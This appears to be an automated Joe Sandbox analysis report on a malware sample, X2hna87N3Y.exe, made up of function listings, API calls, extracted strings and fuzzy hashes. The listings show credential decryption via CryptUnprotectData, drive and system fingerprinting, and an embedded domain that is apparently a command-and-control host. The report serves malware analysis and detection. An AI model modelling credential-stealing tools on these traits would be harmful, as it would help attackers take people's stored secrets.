Associated: 00000000.00000002.1739669444.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739682451.0000000000DB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739694978.0000000000DB5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739708743.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739724826.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: d7161956f45c868e245dc8ff9af32c55e5cfae7badbcae5de9f2e16177fede26
Instruction ID: e59d74052eaf4aeb701b44971657424896e7ff8f4fd31a6f9b6ad292b521f51e
Opcode Fuzzy Hash: d7161956f45c868e245dc8ff9af32c55e5cfae7badbcae5de9f2e16177fede26
Instruction Fuzzy Hash: 4051BF76A00206EFEF299F91D851BBAB7A4EF04B14F18452DE845876D1E731EC80CBB0

Function 00D9D135 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 00D97491: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,00D98CE1,?,00000000,-00000008), ref: 00D974F2

GetLastError.KERNEL32 ref: 00D9D199
__dosmaperr.LIBCMT ref: 00D9D1A0
GetLastError.KERNEL32 ref: 00D9D1DA
__dosmaperr.LIBCMT ref: 00D9D1E1

Memory Dump Source

Source File: 00000000.00000002.1739631448.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1739612609.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739654667.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739669444.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739682451.0000000000DB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739694978.0000000000DB5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739708743.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739724826.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: 9db0cbfbcfc67c14e3e9e1fff62858739a9bb555dbe1954dc0cb2f1ccbb05fe8
Instruction ID: d1a7083fa3184a81d9d215e3fbb70d616e0f750529b803e911f2b4275ebaa60e
Opcode Fuzzy Hash: 9db0cbfbcfc67c14e3e9e1fff62858739a9bb555dbe1954dc0cb2f1ccbb05fe8
Instruction Fuzzy Hash: 6B219F72700305AFDF21AF6A8C8096BB7AAFF443A47148519F959A7251DB30ED40CBB0

Function 00D8EA02 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1739631448.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1739612609.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739654667.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739669444.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739682451.0000000000DB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739694978.0000000000DB5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739708743.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739724826.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f03722bcd29c363325375607f4c523eb37c423c6a4b81c297f7b19d6d9520b2
Instruction ID: 3ba9842fda5c4324ca8e6db3d3e04f64bba3ea26611249405f069a5415012712
Opcode Fuzzy Hash: 2f03722bcd29c363325375607f4c523eb37c423c6a4b81c297f7b19d6d9520b2
Instruction Fuzzy Hash: 3321A931604215BF9B28FF658C8096BB7A9FF40B647198A25F85AD7251EB30ED019FB0

Function 00D9E52B Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00D9E533

Part of subcall function 00D97491: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,00D98CE1,?,00000000,-00000008), ref: 00D974F2

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00D9E56B
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00D9E58B

Memory Dump Source

Source File: 00000000.00000002.1739631448.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1739612609.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739654667.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739669444.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739682451.0000000000DB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739694978.0000000000DB5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739708743.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739724826.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: 54c35c0a5dcb941cf8583139c07fcebf67147abd9effc8346e8212600717bf9d
Instruction ID: a062ab5a912473d4fac1d0ceaf684ad244b34322521b02687160583ff79f9581
Opcode Fuzzy Hash: 54c35c0a5dcb941cf8583139c07fcebf67147abd9effc8346e8212600717bf9d
Instruction Fuzzy Hash: 8311C0F5A15215FE6F6177B6AC89CBF6FACCF843A83150128F841D1201FA20DF0192B1

Function 00D81690 Relevance: 6.1, APIs: 4, Instructions: 53threadCOMMON

Download Yara Rule

APIs

std::_Throw_Cpp_error.LIBCPMT ref: 00D816BD
GetCurrentThreadId.KERNEL32 ref: 00D816CB
std::_Throw_Cpp_error.LIBCPMT ref: 00D816E4
std::_Throw_Cpp_error.LIBCPMT ref: 00D81723

Memory Dump Source

Source File: 00000000.00000002.1739631448.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1739612609.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739654667.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739669444.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739682451.0000000000DB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739694978.0000000000DB5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739708743.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739724826.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID: Cpp_errorThrow_std::_$CurrentThread
String ID:
API String ID: 2261580123-0
Opcode ID: eb2ef3b8ca8e52b18280172f1509ed4a87d2761644fc47492b45bfa58296f223
Instruction ID: acabde55f8244096f8cb4f37f7a538f2973f3381ccc1db1300655912b092cdb3
Opcode Fuzzy Hash: eb2ef3b8ca8e52b18280172f1509ed4a87d2761644fc47492b45bfa58296f223
Instruction Fuzzy Hash: EE21D3B4E04209CFDB08EFA8D5926AEFBF5EF48300F05845DE889A7351DB399941CB61

Function 00D8AA61 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00D8AA68
std::_Lockit::_Lockit.LIBCPMT ref: 00D8AA72

Part of subcall function 00D84080: std::_Lockit::_Lockit.LIBCPMT ref: 00D840AE
Part of subcall function 00D84080: std::_Lockit::~_Lockit.LIBCPMT ref: 00D840D9

codecvt.LIBCPMT ref: 00D8AAAC
std::_Lockit::~_Lockit.LIBCPMT ref: 00D8AAE3

Memory Dump Source

Source File: 00000000.00000002.1739631448.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1739612609.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739654667.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739669444.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739682451.0000000000DB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739694978.0000000000DB5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739708743.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739724826.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3codecvt
String ID:
API String ID: 3716348337-0
Opcode ID: 21ffaabe07afb4926a25e34ba41d4919728605c1086803f18af94245b3fbb3e7
Instruction ID: dca86890ad292cee8853a663e44467a35fda09e86b1319434b1a72bb4c1c1822
Opcode Fuzzy Hash: 21ffaabe07afb4926a25e34ba41d4919728605c1086803f18af94245b3fbb3e7
Instruction Fuzzy Hash: 1B01C0B1900216DBCB09FB68D9596BEB7B5EF80320F29410AE811A7391DF749E00CBB1

Function 00DA6060 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,00000000,?,00DA554F,00000000,00000001,00000000,?,?,00D9F6FB,?,00000000,00000000), ref: 00DA6077
GetLastError.KERNEL32(?,00DA554F,00000000,00000001,00000000,?,?,00D9F6FB,?,00000000,00000000,?,?,?,00D9F041,00000000), ref: 00DA6083

Part of subcall function 00DA60D4: CloseHandle.KERNEL32(FFFFFFFE,00DA6093,?,00DA554F,00000000,00000001,00000000,?,?,00D9F6FB,?,00000000,00000000,?,?), ref: 00DA60E4

___initconout.LIBCMT ref: 00DA6093

Part of subcall function 00DA60B5: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00DA6051,00DA553C,?,?,00D9F6FB,?,00000000,00000000,?), ref: 00DA60C8

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,?,00DA554F,00000000,00000001,00000000,?,?,00D9F6FB,?,00000000,00000000,?), ref: 00DA60A8

Memory Dump Source

Source File: 00000000.00000002.1739631448.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1739612609.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739654667.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739669444.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739682451.0000000000DB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739694978.0000000000DB5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739708743.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739724826.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: ff87bc1180fd93343d2c024f373391b42f2dbd77685d9fb7efde3242f948296e
Instruction ID: d1482df3acc6bb2ec2d125b974bf6961d6c52d8d355d204a39f084ecc8380053
Opcode Fuzzy Hash: ff87bc1180fd93343d2c024f373391b42f2dbd77685d9fb7efde3242f948296e
Instruction Fuzzy Hash: E0F03736401224FBCF222F91DC0999A3F65FB453A0F088110FA19D5270CB31C960ABB5

Function 00D879D0 Relevance: 5.7, APIs: 2, Strings: 1, Instructions: 477COMMON

Download Yara Rule

APIs

_strcspn.LIBCMT ref: 00D87B30
_strcspn.LIBCMT ref: 00D87B5E

Strings

@, xrefs: 00D87E29

Memory Dump Source

Source File: 00000000.00000002.1739631448.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1739612609.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739654667.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739669444.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739682451.0000000000DB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739694978.0000000000DB5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739708743.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739724826.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID: _strcspn
String ID: @
API String ID: 3709121408-2766056989
Opcode ID: a546db021739ce0d8ebc9515ffc76dc2eb24b43d1314184c01583daac12d15b8
Instruction ID: f18b8f625ecda85b3788d69dc424d342c52059ea92747f7d63b77b58885694d4
Opcode Fuzzy Hash: a546db021739ce0d8ebc9515ffc76dc2eb24b43d1314184c01583daac12d15b8
Instruction Fuzzy Hash: 7432C5B4904269CFCB14EF64C981AADFBF1BF48310F15859AE849A7351D730AE85CFA1

Function 00D96DFE Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 124COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,00D96CFF,?,?,00000000,00000000,00000000,?), ref: 00D96E23

Strings

MOC, xrefs: 00D96E35
RCC, xrefs: 00D96E3D

Memory Dump Source

Source File: 00000000.00000002.1739631448.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1739612609.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739654667.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739669444.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739682451.0000000000DB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739694978.0000000000DB5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739708743.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739724826.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 28e40cc98cb5eed2f3d0332c11aef93917444f20cee66628853a153108bc5af1
Instruction ID: 732b35ea4839a1986fab29ed6cbd1ca2de4d4a310616efba67207408725eddbe
Opcode Fuzzy Hash: 28e40cc98cb5eed2f3d0332c11aef93917444f20cee66628853a153108bc5af1
Instruction Fuzzy Hash: 5D412672900209EFCF16DF98D981AAEBBB5FF48304F198199FA04A7221D335E950DB70

Function 00D9666A Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 00D968E1

Strings

csm, xrefs: 00D96903
csm, xrefs: 00D96974

Memory Dump Source

Source File: 00000000.00000002.1739631448.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1739612609.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739654667.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739669444.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739682451.0000000000DB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739694978.0000000000DB5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739708743.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739724826.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID: ___except_validate_context_record
String ID: csm$csm
API String ID: 3493665558-3733052814
Opcode ID: aaf8f6f65dfbfe904336524272207b742f04c9cfde56eb61897fb40169e59a3c
Instruction ID: e6d5fdfc286cd8ef581cfc420e46366b103a9c4accd5b8f2eff10e453ec4eb2c
Opcode Fuzzy Hash: aaf8f6f65dfbfe904336524272207b742f04c9cfde56eb61897fb40169e59a3c
Instruction Fuzzy Hash: 3531C432400219FBCF269F54CD44A6A7B66FF09315B1C826AF9944A121D332DCA1DFB1

Analysis Process: X2hna87N3Y.exePID: 7536, Parent PID: 7416COMMON

Execution Graph

Execution Coverage:	5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	35.5%
Total number of Nodes:	234
Total number of Limit Nodes:	17

Executed Functions

Function 00435880 Relevance: 26.9, APIs: 11, Strings: 4, Instructions: 699
memorycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoCreateInstance.OLE32(0043F68C,00000000,00000001,0043F67C), ref: 00435B59
SysAllocString.OLEAUT32(C173DF3B), ref: 00435BC1
CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00435BFE
SysAllocString.OLEAUT32(C826F622), ref: 00435C51
SysAllocString.OLEAUT32(A466A272), ref: 00435CF5
VariantInit.OLEAUT32(CECDCCF3), ref: 00435D60
VariantClear.OLEAUT32(CECDCCF3), ref: 00435EA3
SysFreeString.OLEAUT32(?), ref: 00435EC7
SysFreeString.OLEAUT32(?), ref: 00435ECD
SysFreeString.OLEAUT32(00000000), ref: 00435EDE
GetVolumeInformationW.KERNELBASE(?,00000000,00000000,C173DF3B,00000000,00000000,00000000,00000000), ref: 00435F0E

Strings

,-./, xrefs: 00435FE2
QR, xrefs: 00435CBB
EP, xrefs: 00435D92
@dy, xrefs: 00435A8E

Memory Dump Source

Source File: 00000002.00000002.1968395854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_X2hna87N3Y.jbxd

Similarity

API ID: String$AllocFree$Variant$BlanketClearCreateInformationInitInstanceProxyVolume
String ID: ,-./$EP$QR$@dy
API String ID: 2573436264-442951764
Opcode ID: 70ec9ae03888c60de39039395fe5beec92ddb2858c77087bc173a14fb67959b0
Instruction ID: 29926613f5cf6e48166075966a574d9e19e78f2bdd3ed2d624ba22a0fdd574ce
Opcode Fuzzy Hash: 70ec9ae03888c60de39039395fe5beec92ddb2858c77087bc173a14fb67959b0
Instruction Fuzzy Hash: 5722FE726183409FD710CF28C881B9BBBE6EBC9704F14892DF591DB2A1D778D9098B96

Function 004228A8 Relevance: 9.3, APIs: 1, Strings: 4, Instructions: 511
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLogicalDrives.KERNEL32 ref: 00422A4C

Strings

7.l, xrefs: 00422D6D
RT, xrefs: 00422AD2
7.l, xrefs: 00422ED0
^!P, xrefs: 00422ACA

Memory Dump Source

Source File: 00000002.00000002.1968395854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_X2hna87N3Y.jbxd

Similarity

API ID: DrivesLogical
String ID: 7.l$7.l$RT$^!P
API String ID: 999431828-3477192934
Opcode ID: 5d787efca701a18f52e87d36dda2b2bdcbeb7538f9fd1822f6bab23becfd1a80
Instruction ID: 15f22e5365e44fac4e8dd0b875b66722e8f94ddaf6c00cd4c3737f2dc822db09
Opcode Fuzzy Hash: 5d787efca701a18f52e87d36dda2b2bdcbeb7538f9fd1822f6bab23becfd1a80
Instruction Fuzzy Hash: A5F10DB06183409FD710DF55D98126BBBF0FB86304F54896DE899AB366C378C906CB8A

Function 00418A48 Relevance: 9.1, APIs: 1, Strings: 4, Instructions: 374
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00418CEC

Strings

B, xrefs: 004189FF
\, xrefs: 00418AFB
<7+0, xrefs: 004189D3
P^, xrefs: 00418AF0

Memory Dump Source

Source File: 00000002.00000002.1968395854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_X2hna87N3Y.jbxd

Similarity

API ID: CryptDataUnprotect
String ID: <7+0$B$P^$\
API String ID: 834300711-3035337080
Opcode ID: bdeea8c14914bec16e16bea6ab82c1f90df1e7dfe7fce7e43c57d33763c95337
Instruction ID: 9117f44ace41229e70de94badf4a8ca47e8b9aef6a674a708b7d3d64af525580
Opcode Fuzzy Hash: bdeea8c14914bec16e16bea6ab82c1f90df1e7dfe7fce7e43c57d33763c95337
Instruction Fuzzy Hash: F2C124B6A083418FD724CF24C89579FB7E1EF95304F09492EE48997391EB389845CB46

Function 00408870 Relevance: 7.6, APIs: 5, Instructions: 111
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 00408894
GetCurrentThreadId.KERNEL32 ref: 0040889D
SHGetSpecialFolderPathW.SHELL32(00000000,?,00000010,00000000), ref: 004088EF
GetForegroundWindow.USER32 ref: 00408904
ExitProcess.KERNEL32 ref: 004089D4

Memory Dump Source

Source File: 00000002.00000002.1968395854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_X2hna87N3Y.jbxd

Similarity

API ID: CurrentProcess$ExitFolderForegroundPathSpecialThreadWindow
String ID:
API String ID: 4063528623-0
Opcode ID: 43df9f6dec1794d0aecb39decac8833d665b09034ebe72d3b5c0dd88d144fadc
Instruction ID: 2fdc60a93d28710b0cd175d4a777b9100b7534f652ffd6ab37f8d50b1fae6fcb
Opcode Fuzzy Hash: 43df9f6dec1794d0aecb39decac8833d665b09034ebe72d3b5c0dd88d144fadc
Instruction Fuzzy Hash: 78310873E0071817C3143AB99C4A369B59A9BC0724F1F513FAE86AB3D2EDBD8C0545C9

Function 0042B0E3 Relevance: 7.6, APIs: 3, Strings: 1, Instructions: 599
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(?), ref: 0042B1E3
GetComputerNameExA.KERNELBASE(00000006,?,?), ref: 0042B650

Strings

74;2, xrefs: 0042B658

Memory Dump Source

Source File: 00000002.00000002.1968395854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_X2hna87N3Y.jbxd

Similarity

API ID: ComputerFreeLibraryName
String ID: 74;2
API String ID: 2904949787-2613046512
Opcode ID: 0e377140fcb1c585446d757eaf89cd8bd9efaf1d8ba53a5f0c1aade27a5f2094
Instruction ID: c9dd994f55d1cf543acc5411ab0634e220a0874542a1252c8c9bd8573c59c7b1
Opcode Fuzzy Hash: 0e377140fcb1c585446d757eaf89cd8bd9efaf1d8ba53a5f0c1aade27a5f2094
Instruction Fuzzy Hash: 9C0237712057918FD7258F39C890762BBE2EF96300F1D859EC4D68B793C779A842CBA4

Function 0040C97B Relevance: 2.8, Strings: 2, Instructions: 306
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

tacitglibbr.biz, xrefs: 0040CDE1
88FE57294B3FC45EE430B6CE554835A9, xrefs: 0040C9C9

Memory Dump Source

Source File: 00000002.00000002.1968395854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_X2hna87N3Y.jbxd

Similarity

API ID:
String ID: 88FE57294B3FC45EE430B6CE554835A9$tacitglibbr.biz
API String ID: 0-4267815069
Opcode ID: 483499d02bbe12feb61667cde9647466b7d832abe09e5f14a4e1c7d524797fa7
Instruction ID: bbf81f0760fca7c08bc221ef1c3e51b8340ee4abbe1fbc1be906c63b7a9b9e55
Opcode Fuzzy Hash: 483499d02bbe12feb61667cde9647466b7d832abe09e5f14a4e1c7d524797fa7
Instruction Fuzzy Hash: 14B102B564D3908BD338CF24D4917EFBBE1ABD6300F18896EC4DA6B391D77848058B86

Function 0043C070 Relevance: 2.6, Strings: 2, Instructions: 141COMMON

Download Yara Rule

Strings

@, xrefs: 0043C145
6543, xrefs: 0043C163

Memory Dump Source

Source File: 00000002.00000002.1968395854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_X2hna87N3Y.jbxd

Similarity

API ID: InitializeThunk
String ID: 6543$@
API String ID: 2994545307-3564168940
Opcode ID: d0334cf39d2bdf1043e93597f5300b02dbb4d2223a31d5ed95101b081ea64827
Instruction ID: 5cf5a725ecd8c7379691a97a9daa1d9505c43bf6e4ed69b2554d4391442ca438
Opcode Fuzzy Hash: d0334cf39d2bdf1043e93597f5300b02dbb4d2223a31d5ed95101b081ea64827
Instruction Fuzzy Hash: 4F4149B16042018BDB18CF24C89577B77F5FF99318F14952ED486AB392E739D908CB86

Function 00439DF0 Relevance: 1.5, APIs: 1, Instructions: 14libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(0043BEAB,005C003F,0000002C,?,?,00000018,?,00000000,?,?,?,?,00000000,00000000), ref: 00439E1E

Memory Dump Source

Source File: 00000002.00000002.1968395854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_X2hna87N3Y.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction ID: 0c3231226d6b2b3a527619dcc08e6164a4fafcc19f94aab6dc14dc2c5ea58878
Opcode Fuzzy Hash: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction Fuzzy Hash: A2E0FE75908316AF9A08CF45C14444EFBE5BFC4714F11CC8DA4D863210D3B0AD46DF82

Function 0040C593 Relevance: 1.4, Strings: 1, Instructions: 164COMMON

Download Yara Rule

Strings

7(, xrefs: 0040C72B

Memory Dump Source

Source File: 00000002.00000002.1968395854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_X2hna87N3Y.jbxd

Similarity

API ID:
String ID: 7(
API String ID: 0-3832224305
Opcode ID: 68b2afe561c01ee91116204d12b0dfa01caa74b8d1c2de12960563918693ffee
Instruction ID: 3b7bb95ef2d2f74051047dfb603a013a75dc9fc2134849f86c35aa37d8f9a990
Opcode Fuzzy Hash: 68b2afe561c01ee91116204d12b0dfa01caa74b8d1c2de12960563918693ffee
Instruction Fuzzy Hash: CB51BCB7EA83584BC3208FD49CC0773B6A2E7D6300F19842CDAC02B755E9B59D069BC6

Function 004256E0 Relevance: .3, Instructions: 281COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1968395854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_X2hna87N3Y.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: a204f27aaeac8ada477e8f3fb69e99628460e46cea5074a9c6f9414710ce2bad
Instruction ID: 234686714594285b1e20d19de97384e69317631695e650a40d04bd971bcbfc65
